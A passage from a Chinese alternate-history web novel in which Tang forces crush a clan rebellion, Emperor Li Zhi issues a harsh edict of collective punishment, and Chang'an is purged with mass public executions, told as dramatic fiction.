永安门的门楼和附近宫墙仍在程务挺率领的北衙禁军手中,但门楼下的广场和通道上,已是一片混战的修罗场。 数 百 人 挤 在 相 对 狭 窄 的 区 域 内 厮 杀, 刀 光 剑 影, 血 肉 横 飞。 江夏王李道宗浑身浴血,状若疯虎,亲自率领着最后的精锐亡命徒,疯狂冲击着北衙禁军组成的防线,试图杀出一条血路,直扑内廷。而程务挺则手持横刀,身先士卒,死死钉在防线最前沿, 他 身 上 也 多 处 带 伤, 但 仍 旧 嘶 吼 着 指 挥 战 斗, 一 步 不 退。**
双方都杀红了眼,每一寸土地都在反复争夺,每一刻都有人倒下。叛军虽然凶悍,但人数越打越少,且疲惫不堪;北衙禁军虽依托工事,但同样伤亡不小,防线已摇摇欲坠。
“ 程 将 军 撑 住! 李瑾来也! 神 策 军, 杀!” 李瑾见状,毫不犹豫,挥刀直指叛军侧翼。
“ 杀!” 养精蓄锐、士气如虹的神策军生力军,如同猛虎下山,从侧翼狠狠撞入了叛军的队伍中。 这 一 击, 成 为 了 压 垮 叛 军 的 最 后 一 根 稻 草。**
本就濒临崩溃的叛军,在神策军排山倒海般的冲击下,瞬间被冲得七零八落。 前 有 程 务 挺 的 顽 强 阻 击, 侧 翼 遭 受 神 策 军 的 猛 烈 突 击, 叛 军 顿 时 陷 入 了 绝 境。** 绝望的哭喊声、临死的惨叫声、兵器坠地的声音响成一片。
江夏王李道宗回头,看到那面迎风招展的“神策军”大旗和李瑾冰冷的面容, 知 道 大 势 已 去, 脸 上 露 出 惨 然 的 笑 容。 他举起沾满鲜血的长剑,看了一眼内廷的方向,又看了看身边越来越少、面露恐惧的部下,惨笑一声:“ 天 不 佑 我 大 唐 宗 室 … …** 陛下,臣无能啊!”
说罢,他竟调转剑锋, 毫 不 犹 豫 地 抹 过 了 自 己 的 脖 子!** 血光迸现,这位曾经征战沙场、威名赫赫的宗室名王,就此毙命于自己发动的叛乱之中。
主将一死,残余的叛军彻底丧失了斗志,纷纷丢弃兵器,跪地求饶。 零 星 的 抵 抗 也 很 快 被 神 策 军 和 北 衙 禁 军 联 手 扑 灭。**
李瑾甚至来不及看一眼江夏王的尸体,他快步冲到浑身是血、拄着刀喘息不止的程务挺面前,急声问道:“ 程 将 军, 陛 下 和 皇 后 娘 娘 如 何?** 紫宸殿、两仪殿可还安好?”
程务挺看到李瑾,紧绷的神经终于一松,几乎站立不稳,哑声道:“ 放 … … 放 心, 叛 军 … … 未 能 踏 入 内 廷 一 步。 皇后娘娘……皇后娘娘披甲立于紫宸殿前阶, 亲 自 督 战, 稳 定 军 心 … … 陛下……陛下应当安好。” 他顿了顿,眼中露出心有余悸的神色,“ 若 非 李 公 来 得 及 时, 再 晚 片 刻, 后 果 不 堪 设 想。 韩王率领的那一股叛军,已被击溃,韩王被生擒。其余各处零星叛军,正在清剿。”
听到武媚娘和李治无恙,李瑾一直悬在喉咙口的心,才终于落了回去。他长长舒了一口气,这才感到一阵虚脱般的疲惫和后怕袭来。 看 着 眼 前 尸 横 遍 地、 血 流 成 河 的 惨 状, 闻 着 那 浓 重 到 令 人 作 呕 的 血 腥 气, 他 知 道, 这 场 惊 心 动 魄 的 除 夕 宫 变, 到 此, 总 算 是 平 息 了。**
“ 程 将 军 辛 苦, 功 在 社 稷。 速速派人禀报陛下和娘娘,叛军主力已溃,首恶伏诛或被擒,请陛下和娘娘安心。 同 时, 彻 底 清 查 宫 禁, 捉 拿 一 切 叛 乱 余 党, 不 可 放 走 一 人! 我即刻去面见娘娘。” 李瑾沉声吩咐,又对身边副将道,“ 神 策 军 接 手 宫 内 防 务, 协 助 程 将 军 清 剿 残 敌, 保 护 陛 下 和 娘 娘 安 全!”
“诺!” 众人轰然应命。
李瑾整理了一下染血的甲胄,在亲卫的簇拥下,迈步走向那片依然灯火通明、却仿佛经历了生死轮回的紫宸殿。 东 方 的 天 际, 已 经 露 出 了 一 丝 鱼 肚 白。 除夕已过,新年的第一缕曙光, 即 将 刺 破 这 漫 长 而 血 腥 的 黑 夜, 照 耀 在 这 座 刚 刚 经 历 了 一 场 劫 难 的 帝 国 宫 阙 之 上。**
第137章 李治终决断
卯时初,紫宸殿。
殿外的喊杀声、兵刃撞击声已渐渐停歇, 取 而 代 之 的 是 神 策 军 和 北 衙 禁 军 清 剿 残 敌、 收 拢 俘 虏、 清 理 战 场 的 各 种 声 响, 以 及 伤 者 压 抑 的 呻 吟 和 偶 尔 传 来 的 厉 声 喝 问。 血腥气混杂着燃烧后的焦糊味,顺着未关严的门窗缝隙飘入殿内, 提 醒 着 所 有 人 刚 才 经 历 了 怎 样 惊 心 动 魄 的 一 夜。**
殿内灯火通明,气氛却依旧凝重。李治靠在御榻上,面色在烛火映照下显得愈发灰败, 眼 窝 深 陷, 嘴 唇 不 住 地 轻 微 颤 抖, 不 知 是 因 为 病 痛 还 是 心 中 的 惊 涛 骇 浪。 他的手紧紧抓着锦被,指节因为用力而发白。 刚 才 那 一 阵 紧 似 一 阵 的 喊 杀 声, 尤 其 是 最 后 那 震 天 的 “ 杀” 声 和 随 后 的 静 寂, 让 他 的 心 脏 几 乎 要 跳 出 胸 腔。** 直到宦官跌跌撞撞地跑进来禀报“叛军已败”、“李转运使率神策军赶到”、“程将军正在肃清残敌”,他才仿佛虚脱般,长长地、带着颤抖地呼出一口气。
武媚娘已经卸去了那身轻甲,换上了一袭深青色的常服,静静地坐在御榻旁的绣墩上。 她 的 脸 色 也 有 些 苍 白, 但 神 情 却 异 常 平 静, 甚 至 可 以 说 是 冰 冷, 只 有 眼 中 偶 尔 闪 过 的 锐 利 光 芒, 透 露 出 她 内 心 绝 非 表 面 看 来 那 般 波 澜 不 惊。 她手中捧着一盏参茶,却一口未动,只是任由那热气袅袅升起, 氤 氲 了 她 深 邃 的 眼 眸。**
太子李弘和几位年幼的皇子公主,在乳母和宫人的安抚下,已在偏殿暂时歇下,但显然无人能真正安眠。 殿 内 侍 立 的 宦 官 宫 女 们, 虽 然 不 再 如 之 前 般 瑟 瑟 发 抖, 但 脸 上 的 惊 恐 未 褪, 垂 手 低 头, 大 气 也 不 敢 出。
“ 陛 下, 喝 口 参 茶, 定 定 神 吧。” 武媚娘将茶盏轻轻递到李治手中,声音平稳,听不出太多情绪,“ 叛 乱 已 平, 逆 贼 伏 诛, 没 事 了。**”
李治接过茶盏,手却抖得厉害,盏中的茶水漾出,打湿了锦被。他深吸几口气,试图平复,声音沙哑而虚弱:“ 没 … … 没 事 了? 媚娘,真的……真的没事了吗? 是 元 景 … … 还 是 道 宗? 他们……他们都……” 他说不下去了,眼中是深切的痛苦、后怕,还有一丝不易察觉的茫然。 那 毕 竟 是 他 的 亲 叔 父 和 堂 兄 啊! 他们竟然真的敢带兵杀进宫来,要取他性命,夺他江山?
“ 陛 下。” 武媚娘的声音陡然转冷,打断了李治的恍惚,“ 事 已 至 此, 您 还 念 着 那 些 乱 臣 贼 子 的 名 讳 吗? 他们纠集亡命,夜犯宫禁,刀兵直指紫宸,口中高呼‘清君侧,诛武氏’, 可 他 们 的 刀 锋, 真 的 只 是 对 着 臣 妾 一 人 吗? 陛下,今夜若非程将军拼死抵挡,若非李瑾来得及时,此刻坐在这里的,可还是陛下您? 太 子 和 几 位 皇 子 公 主, 又 将 是 何 等 下 场? 您忘了前隋杨帝、忘了隐太子建成、齐王元吉之事了吗?”
武媚娘的话, 字 字 如 刀, 狠 狠 刺 入 李 治 心 中 最 柔 软 也 最 恐 惧 的 地 方。 玄武门之变的血腥,兄弟阋墙的惨烈,作为李家子孙,他如何能忘? 那 把 曾 经 染 过 祖 父 兄 弟 鲜 血 的 刀, 如 今 差 点 就 要 落 在 他 和 他 的 子 女 头 上 了!**
李治的身体猛地一颤,眼中的茫然被一种深切的寒意和后怕取代。他紧紧闭上眼,再睁开时, 那 里 面 的 痛 苦 犹 在, 但 更 多 的 是 一 种 帝 王 被 触 及 逆 鳞 后 的 森 然 与 决 绝。
“ 他 们 … … 现 在 如 何?” 李治的声音依旧沙哑,却少了那份虚弱,多了几分冰冷的硬度。
“ 江 夏 王 李 道 宗, 眼 见 事 败, 已 于 永 安 门 前 自 刎 身 亡。 韩王李元嘉、蒋王李元恽、霍王李元轨……” 武媚娘顿了顿,声音没有一丝起伏,“ 或 被 擒, 或 被 诛。 主犯荆王李元景, 方 才 程 务 挺 将 军 遣 人 来 报, 已 在 其 王 府 中 拿 下, 束 手 就 擒。 其余附逆作乱之徒,正在清剿。”
听到“自刎”、“被诛”、“被擒”这些字眼,李治的嘴角又抽搐了一下,但这一次,他没有再流露出过多的情绪,只是沉默了片刻,然后缓缓问道:“ 还 有 谁?**”
这三个字问得没头没尾,但武媚娘却听懂了。 她 知 道, 皇 帝 这 是 在 问 还 有 哪 些 朝 臣、 哪 些 势 力 参 与 了 此 事。 这不仅仅是一次简单的宗室叛乱,背后必然有盘根错节的势力支持。
“ 陛 下 圣 明。” 武媚娘微微颔首,“ 据 初 步 审 问 俘 虏 及 搜 查 叛 军 尸 身 所 得, 涉 案 者 除 荆 王 等 宗 室 外, 尚 有 驸 马 都 尉 薛 万 彻 之 弟 薛 万 备、 故 丞 相 萧 瑀 之 子 萧 锴 等 一 干 勋 贵 子 弟。 另有原吴王恪府旧人、部分对盐铁专卖不满的地方豪强暗中资助的迹象。 玄 武 门 宿 将 独 孤 谋 … …” 她眼中寒光一闪,“ 已 被 证 实 为 内 应, 开 门 揖 盗, 现 已 被 程 务 挺 控 制。 其 余 是 否 还 有 人 涉 及, 需 要 进 一 步 详 查。**”
“ 好, 好, 好 … … 都 是 朕 的 好 亲 戚, 好 臣 子 啊!” 李治忽然低低地笑了起来,笑声中充满了悲凉、愤怒和一种近乎歇斯底里的绝望,“ 他 们 … … 他 们 就 这 么 恨 朕? 恨到要联合起来,将朕置于死地? 恨 到 要 让 这 大 唐 再 次 流 淌 皇 族 的 鲜 血?”
他的情绪似乎有些失控,剧烈地咳嗽起来,苍白的脸上泛起不正常的潮红。武媚娘连忙上前,轻轻为他拍背顺气,语气却依旧冷静:“ 陛 下 息 怒, 保 重 龙 体 要 紧。 他们恨的,或许并非陛下, 而 是 恨 臣 妾 这 个 ‘ 牝 鸡 司 晨’ 的 女 人, 恨 李 瑾 这 个 动 了 他 们 利 益 根 基 的 ‘ 酷 吏 能 臣’, 更 恨 陛 下 您 … … 未 能 如 他 们 所 愿, 做 一 个 任 由 他 们 摆 布 的 天 子。 盐铁之利收归国有,断了他们的财路; 寒 门 士 子 渐 有 进 身 之 阶, 分 了 他 们 的 权 势; 陛下信任臣妾与李瑾, 更 是 让 他 们 感 到 了 莫 大 的 威 胁 和 不 甘。 利字当头, 什 么 君 臣 大 义, 什 么 血 脉 亲 情, 都 可 以 抛 在 一 边 了。”
武媚娘的话语,如同冰冷的解剖刀, 一 层 层 剥 开 了 这 场 叛 乱 背 后 赤 裸 裸 的 利 益 纠 葛 与 权 力 争 夺, 也 将 李 治 心 中 最 后 一 丝 对 亲 情 的 幻 想 和 软 弱 彻 底 斩 断。**
李治的咳嗽渐渐平息,他靠在软垫上,胸膛起伏,眼神却变得空洞而冰冷。过了许久,他才缓缓开口,声音干涩:“ 媚 娘 … … 你 说 得 对。 是朕……是朕太念旧情,太优柔寡断了。 以 为 只 要 施 以 仁 政, 宽 厚 待 人, 就 能 换 来 四 海 升 平, 宗 室 安 睦。 可 他 们 … … 他 们 却 将 朕 的 仁 厚, 视 作 了 软 弱 可 欺。” 他转过头,看着武媚娘,眼中带着一种近乎陌生的审视,“ 你 早 就 看 出 来 了, 是 不 是? 所以……所以你才一直劝朕,要收盐铁,要练新军,要用李瑾这样的‘酷吏’…… 你 是 在 防 着 这 一 天, 对 吗?**”
武媚娘迎着他的目光,没有丝毫躲闪,也没有承认或否认,只是平静地说:“ 臣 妾 所 做 一 切, 皆 是 为 了 大 唐 江 山 稳 固, 为 了 陛 下 的 社 稷 安 危。 树欲静而风不止, 若 不 自 强, 则 人 必 欺 之。** 今日之事,便是明证。”
李治定定地看了她良久,终于,像是耗尽了所有力气, 重 重 地 闭 上 了 眼 睛。 当他再次睁开时,那双因为久病而有些浑浊的眸子里, 只 剩 下 一 片 帝 王 的 冰 冷 与 决 断。** 所有的犹豫、痛苦、亲情牵绊,在这一刻,都被残酷的现实和帝王的求生本能彻底压垮、碾碎。
“ 拟 旨。” 他吐出了两个字,声音不大,却带着不容置疑的威严。
“是。” 上官婉儿早已备好纸笔,闻言立刻在御案前跪坐下来,凝神静听。
李治靠在榻上,望着殿顶精美的藻井,一字一句,清晰而缓慢地说道, 每 一 个 字 都 仿 佛 用 尽 了 他 的 力 气, 又 像 是 从 冰 窖 中 捞 出 来 的 石 头, 冰 冷 而 坚 硬:
“ 诏 曰: 朕 奉 天 承 运, 嗣 守 宗 庙, 夙 夜 兢 兢, 惟 恐 不 逮。 岂 料 荆 王 元 景、 江 夏 王 道 宗、 韩 王 元 嘉、 蒋 王 元 恽、 霍 王 元 轨 等, 身 为 宗 枝, 受 国 厚 恩, 不 思 报 效, 反 怀 枭 獍 之 心, 纠 合 凶 徒, 阴 结 奸 党, 于 元 正 佳 节, 夜 犯 宫 闱, 图 谋 不 轨, 罪 同 叛 逆。 其 行 骇 人 听 闻, 其 心 天 地 不 容!**”
“ 幸 赖 天 地 宗 庙 之 灵, 皇 后 武 氏 临 危 不 乱, 镇 抚 宫 掖; 北 衙 禁 军 大 将 军 程 务 挺 忠 勇 奋 击, 力 保 宫 禁; 转 运 使、 神 策 军 使 李 瑾 闻 变 即 动, 迅 率 劲 旅, 戡 乱 平 逆, 功 在 社 稷。 今 元 凶 虽 戮, 余 孽 未 清。**”
说到这里,李治停顿了一下,似乎需要积蓄力量,也似乎在下定最后的决心。 殿 内 静 得 可 怕, 只 有 笔 尖 划 过 纸 张 的 沙 沙 声, 以 及 李 治 略 显 粗 重 的 呼 吸 声。 武媚娘静静地看着他,目光深邃。
终于,李治继续开口,声音陡然转厉,带着一种血腥的杀伐之气:
“ 着 即 夺 荆 王 元 景、 江 夏 王 道 宗 等 一 应 叛 逆 宗 室 王 爵, 废 为 庶 人! 其 家 产 悉 数 抄 没 入 官, 其 眷 属 宗 族 … …” 他咬了咬牙,眼中最后一丝不忍也被狠厉取代,“ 凡 年 十 六 以 上 男 丁, 不 论 长 幼, 皆 赐 死! 女眷及未及龄者,没入掖庭为奴! 附 逆 之 驸 马 都 尉 薛 万 备、 萧 锴 等 一 干 人 等, 同 罪 论 处, 夷 三 族! 玄 武 门 宿 将 独 孤 谋, 背 主 求 荣, 罪 加 一 等, 凌 迟 处 死, 曝 尸 三 日, 以 儆 效 尤!”
“ 所 有 参 与 叛 乱 之 兵 卒、 亡 命, 不 论 首 从, 一 体 擒 拿, 就 地 正 法! 凡有藏匿逆党、知情不报、勾连往来者, 以 同 谋 论 处, 绝 不 姑 息! 此 事 着 由 皇 后 武 氏 总 揽, 转 运 使 李 瑾、 北 衙 禁 军 大 将 军 程 务 挺 协 同 办 理, 务 求 除 恶 务 尽, 以 正 国 法, 以 安 人 心! 钦 此。**”
“ 夷 三 族 … … 十 六 以 上 男 丁 皆 赐 死 … …” 上官婉儿书写的手几不可察地颤抖了一下,墨迹在纸上稍稍晕开。 这 是 自 太 宗 皇 帝 晚 年 以 来, 最 严 厉、 最 血 腥 的 一 道 处 置 宗 室 的 诏 书。 这道诏书一下, 长 安 城 恐 怕 又 要 人 头 滚 滚, 血 流 成 河 了。** 但她不敢有丝毫停顿,迅速将旨意誊写清楚。
李治说完,仿佛用尽了最后一丝力气,颓然瘫倒在御榻上, 剧 烈 地 喘 息 着, 额 头 渗 出 冷 汗。 这道旨意,几乎断绝了那些参与叛乱的宗室及其党羽的所有生机, 也 彻 底 斩 断 了 他 与 这 一 部 分 李 唐 宗 亲 之 间 最 后 的 情 分。 从此以后,在世人眼中,在史书笔下,他李治, 将 是 一 个 对 自 家 人 举 起 屠 刀 的 冷 血 帝 王。 但,他别无选择。 叛 乱 已 经 用 刀 兵 撕 破 了 最 后 的 温 情 面 纱, 他 若 不 以 更 加 酷 烈 的 手 段 回 应, 等 待 他 和 他 子 女 的, 只 会 是 更 多 的 叛 乱 和 更 悲 惨 的 下 场。**
武媚娘接过上官婉儿呈上的诏书,快速浏览一遍,确认无误。 她 的 眼 中 没 有 丝 毫 的 不 忍 或 犹 豫, 只 有 一 种 冰 冷 的 理 智 和 决 然。 这道诏书,正是她想要的。 不 仅 是 为 了 清 算 叛 乱, 更 是 为 了 借 此 机 会, 将 那 些 反 对 她、 反 对 改 革 的 旧 势 力 连 根 拔 起, 彻 底 铲 除。 只有鲜血,才能浇灭那些人心中的不甘与妄念;只有最残酷的镇压, 才 能 为 她 和 李 瑾 所 推 行 的 道 路, 扫 清 最 大 的 障 碍。**
“ 陛 下 圣 明。 此诏一下,乱臣贼子必然丧胆,天下可定。” 武媚娘的声音平静无波,她将诏书再次送到李治面前,“ 请 陛 下 用 印。**”
李治看着那墨迹未干的诏书,看着上面那些冰冷的、注定要沾染无数鲜血的文字, 手 指 微 微 颤 抖 着, 伸 向 了 那 方 代 表 着 至 高 无 上 皇 权 的 玉 玺。 玉玺很重,很凉。他握在手中, 仿 佛 握 住 了 千 钧 的 重 量 和 无 数 人 的 性 命。
终于,他闭上眼,深吸一口气,将玉玺重重地盖在了诏书之上。
“ 砰!” 一声轻响,却如同惊雷, 在 这 黎 明 前 最 黑 暗 的 时 刻, 在 这 弥 漫 着 血 腥 气 的 紫 宸 殿 中, 定 下 了 无 数 人 的 生 死, 也 定 下 了 大 唐 未 来 数 十 年 的 政 治 格 局。**
“ 立 刻 明 发 天 下。” 武媚娘将盖好玺印的诏书交给身旁的心腹宦官,声音斩钉截铁,“ 着 人 抄 录 百 份, 张 贴 于 长 安 各 坊 市、 城 门, 晓 谕 军 民。 并 以 六 百 里 加 急, 发 往 各 道 州 县! 命李瑾、程务挺, 即 刻 依 诏 行 事, 缉 拿 逆 党, 清 查 余 孽, 不 得 有 误!**”
“遵旨!” 宦官双手捧着那仿佛有千钧之重的诏书,躬身退下,脚步匆匆,很快消失在殿外的微光中。
李治仿佛被抽空了所有力气, 瘫 在 御 榻 上, 目 光 空 洞 地 望 着 殿 顶, 再 也 不 发 一 言。 武媚娘静静地看着他,眼中闪过一丝复杂的情绪,但很快便被坚冰覆盖。她轻轻为他掖了掖被角,低声道:“ 陛 下 好 生 歇 息, 一 切 有 臣 妾。 天, 就 要 亮 了。”
是的,天就要亮了。 新 年 的 第 一 缕 晨 光, 已 经 悄 然 撕 开 了 长 安 城 上 空 浓 重 的 夜 幕, 即 将 照 耀 在 这 座 刚 刚 经 历 了 血 与 火 洗 礼 的 帝 都 之 上。 只是,这黎明的曙光, 却 是 用 无 数 人 的 鲜 血 和 生 命 换 来 的, 并 将 照 亮 一 条 更 加 充 满 铁 血 与 肃 杀 的 道 路。**
第138章 清洗长安城
显庆五年,正月初一,清晨。
长安城没有迎来往年的喧闹与喜庆。 取 而 代 之 的, 是 一 种 压 抑 到 令 人 室 息 的 死 寂 和 弥 漫 在 空 气 中、 挥 之 不 去 的 淡 淡 血 腥 气。 宵禁虽然已经解除,但各坊市的大门并未如常敞开,街道上行人寥寥,即便有,也是行色匆匆,面色惊惶, 不 敢 交 谈, 不 敢 驻 足, 只 是 用 眼 角 余 光 偷 偷 打 量 着 那 一 队 队 甲 胄 鲜 明、 刀 枪 出 鞘, 在 街 道 上 巡 逻 或 疾 行 而 过 的 神 策 军 和 南 衙 卫 士。**
皇城前,朱雀大街两侧,一夜之间贴满了盖有皇帝玉玺的诏书。 内 容 正 是 李 治 在 紫 宸 殿 中 口 述 的 那 道 充 满 杀 伐 之 气 的 《 讨 逆 诏》。 识字的文人百姓围在告示前,看着那一个个触目惊心的名字和后面跟着的“废为庶人”、“夷三族”、“凌迟处死”、“一体擒拿,就地正法”等字眼,无不面色发白, 手 脚 冰 冷, 心 中 只 有 一 个 念 头: 天,变了。
“ 荆 王 … … 江 夏 王 … … 韩 王 … … 全 都 … … 全 都 是 天 潢 贵 胄 啊 … …” 一个老者颤声低语,几乎站立不稳。
“ 何 止 是 王 爷 们 … … 你 看, 还 有 驸 马 都 尉 薛 万 备, 那 是 薛 万 彻 大 将 军 的 亲 弟 弟 ! 还有萧锴,萧相爷的公子…… 这 … … 这 是 要 杀 多 少 人 啊 ?” 旁边一人声音发抖。
“ 噤 声 ! 不 要 命 了 !” 立刻有同伴惊恐地拉扯他,眼睛紧张地瞟向不远处按刀而立、目光森冷的神策军士兵,“ 没 看 见 吗 ? 这 是 谋 逆 大 罪 ! 是要掉脑袋、诛九族的! 看 看 就 走, 莫 要 议 论 !**”
人群在士兵凌厉的目光扫视下,如受惊的鸟雀般迅速散去, 只 留 下 那 一 张 张 在 晨 风 中 猎 猎 作 响、 墨 迹 犹 新 的 诏 书, 像 一 道 道 催 命 符, 悬 挂 在 长 安 城 的 上 空。**
转运使司,如今已临时成为平叛善后与清洗的总指挥部。
大堂内灯火通明,彻夜未熄。李瑾换下了昨日染血的战袍, 穿 着 一 身 绛 紫 色 官 服, 面 无 表 情 地 坐 在 主 位 上, 眼 底 有 着 淡 淡 的 青 黑, 但 目 光 却 冰 冷 锐 利 如 刀。 程务挺身上缠着几处绷带,脸上带着疲惫,但腰杆依旧挺得笔直,坐在下首。堂下,神策军、北衙禁军、南衙各卫、刑部、大理寺、京兆府的官员胥吏穿梭往来, 禀 报 声、 争 执 声、 文 书 翻 动 声 不 绝 于 耳, 气 氛 紧 张 而 肃 杀。
“ 报 ! 蒋 王 府 已 查 封 完 毕! 共擒获王府属官、家将、仆役三百七十一人,其中符合诏令‘十六岁以上男丁’者八十九人, 已 全 部 羁 押, 女眷及幼童暂拘于府内偏院,等候发落。 查 抄 金 银 珠 宝、 田 产 地 契、 账 册 文 书 若 干, 正 在 清 点 造 册。” 一名神策军校尉大步进来,单膝跪地禀报。
“ 报 ! 霍 王 府 查 封 过 程 中, 有 家 将 三 人 持 械 抗 拒, 已 被 当 场 格 杀! 余者均已束手。 在 王 府 密 室 中 搜 出 与 荆 王、 江 夏 王 等 往 来 密 信 十 余 封, 以及甲胄五十副,弓弩三十张!**” 又一名军官进来。
“ 报 ! 驸 马 都 尉 薛 万 备 已 在 其 别 业 中 拿 获, 其 府 中 查 出 兵 器 若 干, 并 有 与 江 淮 残 余 盐 商 暗 通 款 曲 的 书 信。 其家族在京亲眷一百零三口,已全部收监!”
“ 报 ! 独 孤 谋 家 眷 及 其 在 玄 武 门 的 几 名 心 腹 将 领, 已 悉 数 擒 拿, 押 往 大 理 寺 狱。 独孤谋本人伤势不轻, 御 医 已 为 其 简 单 包 扎, 可 保 不 至 于 行 刑 前 毙 命。**”
一条条冰冷的汇报, 代 表 着 一 个 个 家 族 的 倾 覆 和 无 数 人 命 运 的 终 结。 李瑾只是静静地听着,偶尔简短地下达指令:“ 按 诏 行 事, 该 抓 的 抓, 该 关 的 关, 财 物 清 点 造 册, 不 得 有 误, 亦 不 得 趁 机 侵 吞 一 文 一 钱。 违者,军法从事。”
他的声音平稳, 听 不 出 丝 毫 波 动, 但 只 有 他 自 己 知 道, 每 一 道 命 令 背 后, 心 中 都 是 何 等 的 沉 重 与 冰 冷。 这就是政治斗争的残酷,失败者,不仅会失去自己的性命, 还 会 连 累 整 个 家 族 堕 入 万 劫 不 复 的 深 渊。 他并非嗜杀之人,但此刻,他必须扮演好“酷吏”和“屠夫”的角色。 这 是 皇 帝 的 意 志, 是 武 后 的 要 求, 也 是 稳 定 局 势、 震 慑 宵 小 必 须 付 出 的 血 的 代 价。**
“ 李 公。” 程务挺的声音将李瑾从短暂的思绪中拉回,“ 各 王 府、 勋 贵 府 邸 的 查 抄 擒 拿, 有 神 策 军 和 南 衙 诸 卫 同 时 进 行, 应 无 大 碍。 只是…… 诏 书 中 所 言 ‘ 凡 有 藏 匿 逆 党、 知 情 不 报、 勾 连 往 来 者, 以 同 谋 论 处’, 此 条 … … 范 围 甚 广, 如 何 界 定, 还 需 李 公 与 皇 后 娘 娘 明 示。 另 外, 涉 案 人 犯 及 其 家 眷 数 量 巨 大, 如 何 关 押、 审 讯、 行 刑, 也 需 统 筹 安 排。 还有,长安各门虽已封闭, 但 难 保 没 有 漏 网 之 鱼 或 其 党 羽 闻 风 逃 窜, 是 否 要 发 下 海 捕 文 书, 通 传 天 下 ?”
程务挺不愧是宿将, 在 经 历 了 一 夜 血 战 和 清 剿 后, 依 旧 能 保 持 清 醒 的 头 脑, 考 虑 到 这 些 具 体 而 棘 手 的 问 题。**
李瑾揉了揉发胀的眉心,沉声道:“ 程 将 军 所 虑 甚 是。 关于‘知情不报、勾连往来’之界定, 皇 后 娘 娘 已 有 口 谕: 凡 在 各 逆 王 府 中 搜 出 的 书 信、 账 册 中 有 名 姓 者, 或 有 人 证 物 证 确 凿 指 认 与 叛 乱 有 牵 连 者, 一 律 先 行 锁 拿 审 问, 宁 可 错 拿, 不 可 错 放。 具体名单, 稍 后 会 有 凤 阁( 中 书 省) 同 僚 整 理 后 送 来。**”
他顿了顿,语气更冷了几分:“ 至 于 关 押 与 行 刑 … … 诏 书 既 定, 便 需 雷 厉 风 行, 以 儆 效 尤。 各 处 监 狱 若 不 够, 便 腾 出 营 房、 仓 廪 暂 用。 审讯不必过于繁琐, 有 基 本 口 供 与 物 证 勾 连 即 可。 首要逆犯及其十六岁以上男丁, 按 诏 书 所 定, 即 日 起, 分 批 于 西 市 口 明 正 典 刑。 独 孤 谋 … … 凌 迟 之 刑, 定 在 三 日 后, 务 必 让 其 活 到 那 时, 以 全 刑 法。 曝 尸 之 地, 就 选 在 玄 武 门 外, 让 所 有 人 都 看 看, 背 主 谋 逆 是 何 下 场 !”
“ 嘶 … …” 堂下不少官员胥吏闻言, 都 是 倒 吸 一 口 凉 气, 感 觉 一 股 寒 意 从 脚 底 直 冲 顶 门。 即日行刑,分批处决,凌迟曝尸…… 这 是 要 用 滔 天 的 血 海, 彻 底 淹 没 所 有 反 对 的 声 音 啊! 但无人敢有异议,所有人都躬身应诺。
“ 海 捕 文 书 自 然 要 发。” 李瑾继续道,“ 凡 在 逃 逆 党 及 其 重 要 党 羽, 画 影 图 形, 明 码 标 价, 发 往 天 下 各 道 州 县, 有 擒 获 或 告 发 者, 重 赏。 同时,传令各州县, 严 查 过 往 行 人, 尤 其 是 与 逆 案 有 牵 连 之 地 的 人 员, 不 得 疏 忽。** 长安各门,继续戒严,许进不许出,直至逆党基本肃清为止。”
命令一条条发出, 整 个 转 运 使 司 如 同 一 架 高 效 而 冷 酷 的 机 器, 开 始 高 速 运 转, 将 死 亡 和 恐 惧 的 阴 影, 精 准 地 投 射 向 长 安 城 的 每 一 个 角 落。**
很快,长安城的百姓便见识到了什么叫做“雷霆手段”。
一队队盔明甲亮、杀气腾腾的士兵, 在 宦 官 和 刑 部 官 员 的 带 领 下, 如 狼 似 虎 地 冲 进 一 座 座 昔 日 门 庭 若 市、 显 赫 无 比 的 王 府、 公 侯 府 邸。 哭喊声、斥骂声、哀求声、兵刃撞击声、翻箱倒柜声…… 混 杂 在 一 起, 打 破 了 这 座 帝 都 新 年 应 有 的 宁 静。
昔日高高在上的王爷、驸马、公侯, 此 刻 如 同 待 宰 的 猪 羊, 被 粗 暴 地 从 锦 被 绣 榻 上 拖 起, 套 上 枷 锁, 押 入 阴 暗 潮 湿 的 囚 车。 那些锦衣玉食的公子小姐、夫人姬妾, 则 在 惊 恐 的 哭 嚎 中 被 驱 赶 到 一 处, 等 待 着 未 知 的、 恐 怕 是 更 为 悲 惨 的 命 运。 无数金银财宝、古董字画、地契房契被登记造册,贴上封条, 一 车 车 地 运 往 皇 家 府 库 和 转 运 使 司 的 库 房。**
西市口,这个平日最热闹的市集,如今成了令人望而生畏的刑场。
临时搭建的高台上, 身 穿 绯 红 官 袍、 面 无 表 情 的 监 斩 官 端 坐 其 上。 台下,一排排被反绑双手、插着亡命牌的死囚跪伏在地, 有 的 面 如 死 灰, 有 的 浑 身 筛 糠, 有 的 神 情 呆 滞, 也 有 的 不 住 地 高 喊 “ 冤 枉” 或 是 破 口 大 骂。 周围是全副武装、如临大敌的神策军士兵,冰冷的眼神扫视着被驱赶到远处围观的人群。
“ 午 时 三 刻 到 !** 行刑!” 监斩官冷漠的声音响起,丢下令牌。
“ 饶 命 啊 !**”
“ 陛 下, 臣 冤 枉 ! 臣是被逼的!”
“ 武 氏 妖 后, 李 瑾 奸 贼, 你 们 不 得 好 死 ! 啊——!”
鬼头刀在冬日的阳光下划出刺眼的寒光, 带 起 一 蓬 蓬 温 热 的 鲜 血。 人头滚落,无头的尸身颓然倒地。 浓 重 的 血 腥 气 再 次 弥 漫 开 来, 与 昨 夜 皇 宫 的 血 腥 混 杂 在 一 起, 成 为 这 个 新 年 长 安 城 最 深 刻 的 记 忆。 围观的百姓鸦雀无声,许多人面色惨白,甚至有人忍不住弯腰呕吐起来。 他 们 中 的 大 多 数 人, 一 生 也 未 见 过 如 此 规 模 的 集 体 处 决, 更 何 况 被 处 决 的, 是 昔 日 他 们 需 要 仰 视 的 宗 室 贵 胄 和 勋 贵 子 弟。
恐惧,如同瘟疫般在长安城中蔓延。 所 有 人 都 紧 闭 门 户, 生 怕 与 那 些 倒 霉 的 名 字 沾 上 一 丝 一 毫 的 关 系。 昔日与荆王、江夏王府有过往来的官员、商贾,更是惶惶不可终日, 有 的 连 夜 毁 灭 书 信 凭 据, 有 的 四 处 打 点 求 告, 更 有 的 直 接 在 家 中 悬 梁 自 尽, 以 求 保 全 家 人。**
皇宫,两仪殿偏殿。
武媚娘并没有休息, 她 正 在 听 取 上 官 婉 儿 的 汇 报。 案几上堆满了从各王府抄没来的书信、账册,以及神策军、刑部、大理寺报上来的名单和初步口供。
